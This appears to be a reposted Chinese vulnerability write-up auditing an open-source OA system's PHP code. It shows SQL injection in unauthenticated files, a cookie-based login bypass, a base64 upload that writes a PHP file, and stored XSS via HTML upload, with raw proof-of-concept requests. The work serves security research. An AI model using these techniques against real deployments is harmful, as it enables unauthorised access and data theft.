记一次某开源OA代码审计

参考链接:某开源oa审计

补充了这位师傅没提到的几个洞,大同小异,基本上都是同类型问题。环境使用小皮面板搭建。欢迎各位师傅补充。

注:本文目的为技术交流与分享,提升自身技能水平,请勿利用本文所提到的方法进行恶意的攻击与破坏,遵守中华人民共和国网络安全法的相关规定,否则所造成的的一切后果与本人无关,阅读本文默认接受此协定。如有侵权请联系我删除。


未授权访问漏洞+前台SQL注入漏洞

发现数个文件存在未授权访问漏洞。究其原因没有包含鉴权文件checklogin.php

记一次某开源OA代码审计

记一次某开源OA代码审计

同时发现这个文件几个参数存在很明显的SQL注入漏洞。

if($suserxm!=''){$sql=$sql." and userxm like '%$suserxm%'";}if($sjiabie!=''){$sql=$sql." and jiabie like '%$sjiabie%'";}if($smudidi!=''){$sql=$sql." and mudidi like '%$smudidi%'";}if($sniandu!=''){$sql=$sql." and niandu like '%$sniandu%'";}$sql=$sql."  ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;   $list =$db->fetchall($sql);

记一次某开源OA代码审计

记一次某开源OA代码审计

相似的这个目录下很多类似文件但是其他的都有做鉴权,所以可以说是后台注入,这里就不提了。

记一次某开源OA代码审计

同时juese.php也存在类似问题

$sql="SELECT *  FROM ".$db->tablename('juese') ." WHERE id>0";if($key!=''){$sql=$sql." and juese like '%$key%'";}$sql=$sql."  ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;   $list =$db->fetchall($sql);

记一次某开源OA代码审计

记一次某开源OA代码审计

除此之外Api目录下的文件getlist.php也存在类似问题

switch ($_GET['action']) {   case 'zidian':    $zidian=$_GET['fenlei'];//获取id      $sql="SELECT *  FROM ".$db->tablename('vxiangmu') ." WHERE zidian='$zidian'";         $list =$db->fetchall($sql);

记一次某开源OA代码审计


逻辑缺陷登陆绕过漏洞

前面的SQL注入都是未包含鉴权文件checklogin.php引起的,那我们可以去观察下这个文件。发现鉴权写的有很多问题,只要保证以下参数值不为空且存在即可绕过。

Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;

function islogin(){   if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){      if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){          return true;      }

记一次某开源OA代码审计

记一次某开源OA代码审计


前台文件上传漏洞

这个未授权的文件很有意思,本意应该是想使用base64编码功能去写入图片,但是稍加修改即可传入恶意文件。

记一次某开源OA代码审计

传入的$img前面必须要是以data:image/文件格式;base64,开头 然后后面跟上base64编码即可。然后$result[2]就是正则表达式中第二个()的部分,即为w+   $result[1]就是最外面的括号即正则匹配部分data:image/php;base64,   所以直接写入就OK了,提一嘴本来想写入的是 但是不知道为啥写入后自动去掉了> 所以索性直接传

<?php
$img = $_POST['imgbase64'];if (preg_match('/^(data:s*image/(w+);base64,)/', $img, $result)) { $type = ".".$result[2]; $path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;}$img = base64_decode(str_replace($result[1], '', $img));@file_put_contents($path, $img);exit('{"src":"'.$path.'"}');

记一次某开源OA代码审计

记一次某开源OA代码审计

POST /uploadbase64.php HTTP/1.1Host: 192.168.19.25:8888User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 56
imgbase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==


前台文件上传漏洞造成存储型XSS

寻思还有个未鉴权文件upload.php和upfile.php文件不能浪费啊,可好像都白名单写死了。但是在upload.php发现了端倪,这可以传html啊?

记一次某开源OA代码审计

这里要手动传参dir=file,要不然会默认当成image类型处理

记一次某开源OA代码审计

记一次某开源OA代码审计

记一次某开源OA代码审计

POST /upload.php?dir=file HTTP/1.1Host: 192.168.19.25:8888User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=eb570d137174d94106f5bc0aUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywlAMbJmcCIjUNS80Content-Length: 178
------WebKitFormBoundarywlAMbJmcCIjUNS80Content-Disposition: form-data; name="file";filename="1.html"
<script>alert(1)</script>------WebKitFormBoundarywlAMbJmcCIjUNS80--


最后推一波朋友刚创建的知识星球,物有所值,后期肯定会涨价。我的一些实战文章和漏洞挖掘文章也会在里面更新。

记一次某开源OA代码审计

原文始发于微信公众号(飞奔的狸花猫):记一次某开源OA代码审计

版权声明:admin 发表于 2024年3月29日 下午7:42。
转载请注明:记一次某开源OA代码审计 | CTF导航

相关文章